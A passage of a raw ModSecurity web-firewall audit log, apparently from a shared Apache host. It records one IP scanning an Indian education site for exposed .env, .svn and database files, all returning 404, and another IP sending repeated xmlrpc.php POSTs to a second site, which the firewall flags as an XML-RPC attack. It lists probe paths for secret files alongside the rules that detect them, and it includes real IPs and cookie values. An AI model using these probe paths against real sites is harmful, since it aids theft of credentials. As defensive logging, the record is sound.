[tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env~"] [unique_id "aE9QS5bumDYPKpRD2ekpGwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028363257945 656504 (- - -) Stopwatch2: 1750028363257945 656504; combined=1978, p1=415, p2=1490, p3=0, p4=0, p5=72, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --06155243-Z-- --4cf6cc7e-A-- [16/Jun/2025:04:29:28.134180 +0530] aE9QT3wHSJGQ1A1pR0qZtQAAAAY 185.177.72.210 46762 127.0.0.1 7081 --4cf6cc7e-B-- GET /:8181/production/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4cf6cc7e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=70af8f138b8cc9206f4097076041e2de1750028367; expires=Sun, 15 Jun 2025 23:59:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4cf6cc7e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/production/.env"] [unique_id "aE9QT3wHSJGQ1A1pR0qZtQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028367472185 662060 (- - -) Stopwatch2: 1750028367472185 662060; combined=1927, p1=399, p2=1419, p3=0, p4=0, p5=109, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4cf6cc7e-Z-- --1e84fd5a-A-- [16/Jun/2025:04:29:29.204781 +0530] aE9QULV9qKUox3X8g1Yl_AAAAAg 185.177.72.210 46808 127.0.0.1 7081 --1e84fd5a-B-- GET /Travel_form/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1e84fd5a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ac8fd88d54b7643f9e405516f4a089b21750028368; expires=Sun, 15 Jun 2025 23:59:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1e84fd5a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Travel_form/.env"] [unique_id "aE9QULV9qKUox3X8g1Yl_AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028368451030 753844 (- - -) Stopwatch2: 1750028368451030 753844; combined=190833, p1=537, p2=1542, p3=0, p4=0, p5=94436, sr=99, sw=1, l=0, gc=94317 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1e84fd5a-Z-- --22cd2006-A-- [16/Jun/2025:04:29:33.053798 +0530] aE9QVJbumDYPKpRD2ekpHwAAAAA 185.177.72.210 41760 127.0.0.1 7081 --22cd2006-B-- GET /packages/client/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --22cd2006-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9835cff97d5ac6857a45a7619ac57fa71750028372; expires=Sun, 15 Jun 2025 23:59:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --22cd2006-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/packages/client/.env"] [unique_id "aE9QVJbumDYPKpRD2ekpHwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028372360270 693592 (- - -) Stopwatch2: 1750028372360270 693592; combined=1798, p1=374, p2=1325, p3=0, p4=0, p5=99, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --22cd2006-Z-- --d8212431-A-- [16/Jun/2025:04:29:39.082714 +0530] aE9QWlxTdrwJSUMoZvG0DAAAAAc 185.177.72.210 42018 127.0.0.1 7081 --d8212431-B-- GET /db/main.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d8212431-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a73b2782bf4517cd90755a6ee8ca4b841750028378; expires=Sun, 15 Jun 2025 23:59:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d8212431-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/db/main.mdb"] [unique_id "aE9QWlxTdrwJSUMoZvG0DAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028378414695 668091 (- - -) Stopwatch2: 1750028378414695 668091; combined=1932, p1=334, p2=1512, p3=0, p4=0, p5=86, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d8212431-Z-- --42fa270c-A-- [16/Jun/2025:04:29:46.279473 +0530] aE9QYexC6fQU5wYvxvlyRwAAAAk 185.177.72.210 45210 127.0.0.1 7081 --42fa270c-B-- GET /:8008/base/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --42fa270c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5f586dfdba612e81d170f18262b7fd241750028386; expires=Sun, 15 Jun 2025 23:59:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --42fa270c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/base/.env"] [unique_id "aE9QYexC6fQU5wYvxvlyRwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028385607293 672270 (- - -) Stopwatch2: 1750028385607293 672270; combined=1850, p1=391, p2=1356, p3=0, p4=0, p5=103, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --42fa270c-Z-- --63d14124-A-- [16/Jun/2025:04:29:47.257500 +0530] aE9QYrBfUm2FdhH5voESAAAAAAU 185.177.72.210 45258 127.0.0.1 7081 --63d14124-B-- GET /examples/with-dotenv/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --63d14124-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=02ea36fc5fecb50da8da53b4d4a102511750028387; expires=Sun, 15 Jun 2025 23:59:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --63d14124-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/with-dotenv/.env"] [unique_id "aE9QYrBfUm2FdhH5voESAAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028386596495 661076 (- - -) Stopwatch2: 1750028386596495 661076; combined=2386, p1=463, p2=1829, p3=0, p4=0, p5=94, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --63d14124-Z-- --a312c862-A-- [16/Jun/2025:04:30:06.183329 +0530] aE9QdR-kH31pk4mNbsVImgAAAAo 128.199.112.101 40184 127.0.0.1 7081 --a312c862-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a312c862-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a312c862-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9QdR-kH31pk4mNbsVImgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028405219778 963620 (- - -) Stopwatch2: 1750028405219778 963620; combined=2498, p1=378, p2=1700, p3=47, p4=66, p5=189, sr=102, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a312c862-Z-- --118aac56-A-- [16/Jun/2025:04:30:55.580253 +0530] aE9Qpn2GhYywD7zZgx4D_AAAAAM 185.177.72.210 48240 127.0.0.1 7081 --118aac56-B-- GET /:8008/vendor/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --118aac56-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=483e27f169e6710739c28f201aa64e501750028455; expires=Mon, 16 Jun 2025 00:00:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --118aac56-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/vendor/.env"] [unique_id "aE9Qpn2GhYywD7zZgx4D_AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028454909077 671240 (- - -) Stopwatch2: 1750028454909077 671240; combined=1643, p1=317, p2=1209, p3=0, p4=0, p5=117, sr=79, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --118aac56-Z-- --bbcc9416-A-- [16/Jun/2025:04:30:58.286408 +0530] aE9QqexC6fQU5wYvxvlycgAAAAk 185.177.72.210 48356 127.0.0.1 7081 --bbcc9416-B-- GET /:8181/backup/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bbcc9416-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=58cc935f21b9f8effc03babcd68fb9e71750028458; expires=Mon, 16 Jun 2025 00:00:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bbcc9416-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/backup/.env"] [unique_id "aE9QqexC6fQU5wYvxvlycgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028457624641 661850 (- - -) Stopwatch2: 1750028457624641 661850; combined=2380, p1=513, p2=1745, p3=0, p4=0, p5=121, sr=134, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bbcc9416-Z-- --3fcd651d-A-- [16/Jun/2025:04:31:01.049666 +0530] aE9QrMalTF-TysO2fMOBjQAAAAE 185.177.72.210 50830 127.0.0.1 7081 --3fcd651d-B-- GET /dist/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3fcd651d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c40688f84391210be044a1e967e2f33b1750028460; expires=Mon, 16 Jun 2025 00:01:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3fcd651d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/dist/.env"] [unique_id "aE9QrMalTF-TysO2fMOBjQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028460393628 656103 (- - -) Stopwatch2: 1750028460393628 656103; combined=1192, p1=246, p2=830, p3=0, p4=0, p5=116, sr=70, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3fcd651d-Z-- --2d5cc41d-A-- [16/Jun/2025:04:31:06.575746 +0530] aE9QsUoyC4_VyyL7sS6LBQAAAAI 128.199.112.101 51074 127.0.0.1 7081 --2d5cc41d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2d5cc41d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2d5cc41d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9QsUoyC4_VyyL7sS6LBQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028465647615 928201 (- - -) Stopwatch2: 1750028465647615 928201; combined=2393, p1=360, p2=1563, p3=50, p4=71, p5=214, sr=94, sw=135, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2d5cc41d-Z-- --9709a15a-A-- [16/Jun/2025:04:31:08.344724 +0530] aE9Qs8alTF-TysO2fMOBkQAAAAE 185.177.72.210 51162 127.0.0.1 7081 --9709a15a-B-- GET /.hgignore.global HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9709a15a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a9b5b100c8f236b91f216daf455fd48d1750028468; expires=Mon, 16 Jun 2025 00:01:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9709a15a-H-- Message: Warning. Matched phrase "/.hgignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.hgignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.hgignore.global"] [unique_id "aE9Qs8alTF-TysO2fMOBkQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028467692258 652532 (- - -) Stopwatch2: 1750028467692258 652532; combined=2640, p1=592, p2=1944, p3=0, p4=0, p5=104, sr=148, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9709a15a-Z-- --1d8fc640-A-- [16/Jun/2025:04:31:19.243366 +0530] aE9QvkoyC4_VyyL7sS6LCwAAAAI 185.177.72.210 37238 127.0.0.1 7081 --1d8fc640-B-- GET /config/.svn/entries HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1d8fc640-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=63290f9bcf0ea51c5ab325d1b101b8141750028479; expires=Mon, 16 Jun 2025 00:01:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1d8fc640-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/.svn/entries"] [unique_id "aE9QvkoyC4_VyyL7sS6LCwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028478599827 643619 (- - -) Stopwatch2: 1750028478599827 643619; combined=1593, p1=358, p2=1157, p3=0, p4=0, p5=78, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1d8fc640-Z-- --a5b1cf3b-A-- [16/Jun/2025:04:31:22.455218 +0530] aE9QwVxTdrwJSUMoZvG0PwAAAAc 185.177.72.210 35462 127.0.0.1 7081 --a5b1cf3b-B-- GET /:9000/courrier/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a5b1cf3b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, 